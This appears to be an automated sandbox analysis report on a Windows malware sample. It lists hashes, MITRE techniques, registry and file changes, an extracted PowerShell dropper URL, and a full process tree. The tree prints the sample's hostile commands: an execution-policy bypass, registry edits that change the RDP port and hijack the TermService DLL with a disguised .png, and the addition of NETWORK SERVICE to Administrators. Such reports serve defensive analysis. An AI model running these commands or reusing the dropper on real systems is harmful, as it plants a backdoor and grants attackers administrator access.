3c41569f2ba7a3e123f2156e541c52fc924897a49a34139b87d5a1b93fb1f94d

Analysis

max time kernel
114s
max time network
116s
platform
windows10_x64
resource
win10v20210410
submitted
13-06-2021 11:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

63c81bd2299db58959013ff55b6f3698.exe
Size

7.0MB
MD5

63c81bd2299db58959013ff55b6f3698
SHA1

ca9b8ed3f8d10d1e01411eb66e80549039e7591d
SHA256

3c41569f2ba7a3e123f2156e541c52fc924897a49a34139b87d5a1b93fb1f94d
SHA512

26af4f5aee0a015ac011eae176fcd65d9686ec60bcfaa05fb98d5e9078e2cd2d5f3b36cdcfe199def58140736d388205f19a50e0a1b50fc5d5c2f0aa951778cb

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
17	1868	powershell.exe
19	1868	powershell.exe
20	1868	powershell.exe
21	1868	powershell.exe
23	1868	powershell.exe
25	1868	powershell.exe
27	1868	powershell.exe
29	1868	powershell.exe
31	1868	powershell.exe

Executes dropped EXE 3 IoCs

Processes:

Lume.exe.comLume.exe.comLume.exe.com

pid process

5024 Lume.exe.com
5116 Lume.exe.com
3424 Lume.exe.com
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
5024	Lume.exe.com
5116	Lume.exe.com
3424	Lume.exe.com

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

4240 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

pid process

4548
4548
Suspicious use of SetThreadContext 1 IoCs

Processes:

Lume.exe.com

description pid process target process

PID 5116 set thread context of 3424 5116 Lume.exe.com Lume.exe.com

pid	process
4548
4548

description	pid	process	target process
PID 5116 set thread context of 3424	5116	Lume.exe.com	Lume.exe.com

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI63DC.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI642C.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_stvugbx5.tzc.ps1	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI63FC.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI63BC.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI643D.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_uvyxpn0r.foq.psm1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3932 reg.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5096 PING.EXE

pid	process
3932	reg.exe

pid	process
5096	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe
1588	powershell.exe
1588	powershell.exe
1588	powershell.exe
192	powershell.exe
192	powershell.exe
192	powershell.exe
4356	powershell.exe
4356	powershell.exe
4356	powershell.exe
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe
1868	powershell.exe
1868	powershell.exe
1868	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

628
628

pid	process
628
628

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeIncreaseQuotaPrivilege	1588	powershell.exe
Token: SeSecurityPrivilege	1588	powershell.exe
Token: SeTakeOwnershipPrivilege	1588	powershell.exe
Token: SeLoadDriverPrivilege	1588	powershell.exe
Token: SeSystemProfilePrivilege	1588	powershell.exe
Token: SeSystemtimePrivilege	1588	powershell.exe
Token: SeProfSingleProcessPrivilege	1588	powershell.exe
Token: SeIncBasePriorityPrivilege	1588	powershell.exe
Token: SeCreatePagefilePrivilege	1588	powershell.exe
Token: SeBackupPrivilege	1588	powershell.exe
Token: SeRestorePrivilege	1588	powershell.exe
Token: SeShutdownPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeSystemEnvironmentPrivilege	1588	powershell.exe
Token: SeRemoteShutdownPrivilege	1588	powershell.exe
Token: SeUndockPrivilege	1588	powershell.exe
Token: SeManageVolumePrivilege	1588	powershell.exe
Token: 33	1588	powershell.exe
Token: 34	1588	powershell.exe
Token: 35	1588	powershell.exe
Token: 36	1588	powershell.exe
Token: SeDebugPrivilege	192	powershell.exe
Token: SeIncreaseQuotaPrivilege	192	powershell.exe
Token: SeSecurityPrivilege	192	powershell.exe
Token: SeTakeOwnershipPrivilege	192	powershell.exe
Token: SeLoadDriverPrivilege	192	powershell.exe
Token: SeSystemProfilePrivilege	192	powershell.exe
Token: SeSystemtimePrivilege	192	powershell.exe
Token: SeProfSingleProcessPrivilege	192	powershell.exe
Token: SeIncBasePriorityPrivilege	192	powershell.exe
Token: SeCreatePagefilePrivilege	192	powershell.exe
Token: SeBackupPrivilege	192	powershell.exe
Token: SeRestorePrivilege	192	powershell.exe
Token: SeShutdownPrivilege	192	powershell.exe
Token: SeDebugPrivilege	192	powershell.exe
Token: SeSystemEnvironmentPrivilege	192	powershell.exe
Token: SeRemoteShutdownPrivilege	192	powershell.exe
Token: SeUndockPrivilege	192	powershell.exe
Token: SeManageVolumePrivilege	192	powershell.exe
Token: 33	192	powershell.exe
Token: 34	192	powershell.exe
Token: 35	192	powershell.exe
Token: 36	192	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeIncreaseQuotaPrivilege	4356	powershell.exe
Token: SeSecurityPrivilege	4356	powershell.exe
Token: SeTakeOwnershipPrivilege	4356	powershell.exe
Token: SeLoadDriverPrivilege	4356	powershell.exe
Token: SeSystemProfilePrivilege	4356	powershell.exe
Token: SeSystemtimePrivilege	4356	powershell.exe
Token: SeProfSingleProcessPrivilege	4356	powershell.exe
Token: SeIncBasePriorityPrivilege	4356	powershell.exe
Token: SeCreatePagefilePrivilege	4356	powershell.exe
Token: SeBackupPrivilege	4356	powershell.exe
Token: SeRestorePrivilege	4356	powershell.exe
Token: SeShutdownPrivilege	4356	powershell.exe
Token: SeDebugPrivilege	4356	powershell.exe
Token: SeSystemEnvironmentPrivilege	4356	powershell.exe
Token: SeRemoteShutdownPrivilege	4356	powershell.exe
Token: SeUndockPrivilege	4356	powershell.exe
Token: SeManageVolumePrivilege	4356	powershell.exe
Token: 33	4356	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

63c81bd2299db58959013ff55b6f3698.execmd.execmd.exeLume.exe.comLume.exe.comLume.exe.compowershell.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exe

description	pid	process	target process
PID 4440 wrote to memory of 4928	4440	63c81bd2299db58959013ff55b6f3698.exe	cmd.exe
PID 4440 wrote to memory of 4928	4440	63c81bd2299db58959013ff55b6f3698.exe	cmd.exe
PID 4440 wrote to memory of 4928	4440	63c81bd2299db58959013ff55b6f3698.exe	cmd.exe
PID 4928 wrote to memory of 4976	4928	cmd.exe	cmd.exe
PID 4928 wrote to memory of 4976	4928	cmd.exe	cmd.exe
PID 4928 wrote to memory of 4976	4928	cmd.exe	cmd.exe
PID 4976 wrote to memory of 4992	4976	cmd.exe	findstr.exe
PID 4976 wrote to memory of 4992	4976	cmd.exe	findstr.exe
PID 4976 wrote to memory of 4992	4976	cmd.exe	findstr.exe
PID 4976 wrote to memory of 5024	4976	cmd.exe	Lume.exe.com
PID 4976 wrote to memory of 5024	4976	cmd.exe	Lume.exe.com
PID 4976 wrote to memory of 5096	4976	cmd.exe	PING.EXE
PID 4976 wrote to memory of 5096	4976	cmd.exe	PING.EXE
PID 4976 wrote to memory of 5096	4976	cmd.exe	PING.EXE
PID 5024 wrote to memory of 5116	5024	Lume.exe.com	Lume.exe.com
PID 5024 wrote to memory of 5116	5024	Lume.exe.com	Lume.exe.com
PID 5116 wrote to memory of 3424	5116	Lume.exe.com	Lume.exe.com
PID 5116 wrote to memory of 3424	5116	Lume.exe.com	Lume.exe.com
PID 5116 wrote to memory of 3424	5116	Lume.exe.com	Lume.exe.com
PID 5116 wrote to memory of 3424	5116	Lume.exe.com	Lume.exe.com
PID 3424 wrote to memory of 4240	3424	Lume.exe.com	powershell.exe
PID 3424 wrote to memory of 4240	3424	Lume.exe.com	powershell.exe
PID 4240 wrote to memory of 624	4240	powershell.exe	csc.exe
PID 4240 wrote to memory of 624	4240	powershell.exe	csc.exe
PID 624 wrote to memory of 1064	624	csc.exe	cvtres.exe
PID 624 wrote to memory of 1064	624	csc.exe	cvtres.exe
PID 4240 wrote to memory of 1588	4240	powershell.exe	powershell.exe
PID 4240 wrote to memory of 1588	4240	powershell.exe	powershell.exe
PID 4240 wrote to memory of 192	4240	powershell.exe	powershell.exe
PID 4240 wrote to memory of 192	4240	powershell.exe	powershell.exe
PID 4240 wrote to memory of 4356	4240	powershell.exe	powershell.exe
PID 4240 wrote to memory of 4356	4240	powershell.exe	powershell.exe
PID 4240 wrote to memory of 3928	4240	powershell.exe	reg.exe
PID 4240 wrote to memory of 3928	4240	powershell.exe	reg.exe
PID 4240 wrote to memory of 3932	4240	powershell.exe	reg.exe
PID 4240 wrote to memory of 3932	4240	powershell.exe	reg.exe
PID 4240 wrote to memory of 4944	4240	powershell.exe	reg.exe
PID 4240 wrote to memory of 4944	4240	powershell.exe	reg.exe
PID 4240 wrote to memory of 5032	4240	powershell.exe	net.exe
PID 4240 wrote to memory of 5032	4240	powershell.exe	net.exe
PID 5032 wrote to memory of 5016	5032	net.exe	net1.exe
PID 5032 wrote to memory of 5016	5032	net.exe	net1.exe
PID 4240 wrote to memory of 4624	4240	powershell.exe	cmd.exe
PID 4240 wrote to memory of 4624	4240	powershell.exe	cmd.exe
PID 4624 wrote to memory of 5056	4624	cmd.exe	cmd.exe
PID 4624 wrote to memory of 5056	4624	cmd.exe	cmd.exe
PID 5056 wrote to memory of 3956	5056	cmd.exe	net.exe
PID 5056 wrote to memory of 3956	5056	cmd.exe	net.exe
PID 3956 wrote to memory of 1936	3956	net.exe	net1.exe
PID 3956 wrote to memory of 1936	3956	net.exe	net1.exe
PID 4240 wrote to memory of 5040	4240	powershell.exe	cmd.exe
PID 4240 wrote to memory of 5040	4240	powershell.exe	cmd.exe
PID 5040 wrote to memory of 5108	5040	cmd.exe	cmd.exe
PID 5040 wrote to memory of 5108	5040	cmd.exe	cmd.exe
PID 5108 wrote to memory of 4064	5108	cmd.exe	net.exe
PID 5108 wrote to memory of 4064	5108	cmd.exe	net.exe
PID 4064 wrote to memory of 4512	4064	net.exe	net1.exe
PID 4064 wrote to memory of 4512	4064	net.exe	net1.exe
PID 4124 wrote to memory of 4524	4124	cmd.exe	net.exe
PID 4124 wrote to memory of 4524	4124	cmd.exe	net.exe
PID 4524 wrote to memory of 4552	4524	net.exe	net1.exe
PID 4524 wrote to memory of 4552	4524	net.exe	net1.exe
PID 2228 wrote to memory of 2208	2228	cmd.exe	net.exe
PID 2228 wrote to memory of 2208	2228	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\63c81bd2299db58959013ff55b6f3698.exe
"C:\Users\Admin\AppData\Local\Temp\63c81bd2299db58959013ff55b6f3698.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4440

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Una.sldm
2⤵
- Suspicious use of WriteProcessMemory
PID:4928

C:\Windows\SysWOW64\cmd.exe
cmd
3⤵
- Suspicious use of WriteProcessMemory
PID:4976

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^fkQjFsrSXyNvteGyMPSxkkZVHfjznZdJHKQAjJSNwkJAiEkjVdHhQkvrkUFdtJzYPtPxjySeXtaZCmOerqnoseTvgMfstBJsRLLrPRqPbFfLSvBMuChtkkGMlzum$" Dal.sldm
4⤵
PID:4992

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
Lume.exe.com j
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5024

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com j
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5116

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.com
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
7⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5i1ciein\5i1ciein.cmdline"
8⤵
- Suspicious use of WriteProcessMemory
PID:624

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E06.tmp" "c:\Users\Admin\AppData\Local\Temp\5i1ciein\CSC8DC5E7925414B3AAE6F4B1FD785D9.TMP"
9⤵
PID:1064

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4356

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
8⤵
PID:3928

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
8⤵
- Modifies registry key
PID:3932

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
8⤵
PID:4944

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
8⤵
- Suspicious use of WriteProcessMemory
PID:5032

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
9⤵
PID:5016

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
8⤵
- Suspicious use of WriteProcessMemory
PID:4624

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
9⤵
- Suspicious use of WriteProcessMemory
PID:5056

C:\Windows\system32\net.exe
net start rdpdr
10⤵
- Suspicious use of WriteProcessMemory
PID:3956

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
11⤵
PID:1936

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
8⤵
- Suspicious use of WriteProcessMemory
PID:5040

C:\Windows\system32\cmd.exe
cmd /c net start TermService
9⤵
- Suspicious use of WriteProcessMemory
PID:5108

C:\Windows\system32\net.exe
net start TermService
10⤵
- Suspicious use of WriteProcessMemory
PID:4064

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
11⤵
PID:4512

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
8⤵
PID:1916

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
8⤵
PID:4304

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
4⤵
- Runs ping.exe
PID:5096

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:4124

C:\Windows\system32\net.exe
net.exe user wgautilacc Ghar4f5 /del
2⤵
- Suspicious use of WriteProcessMemory
PID:4524

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
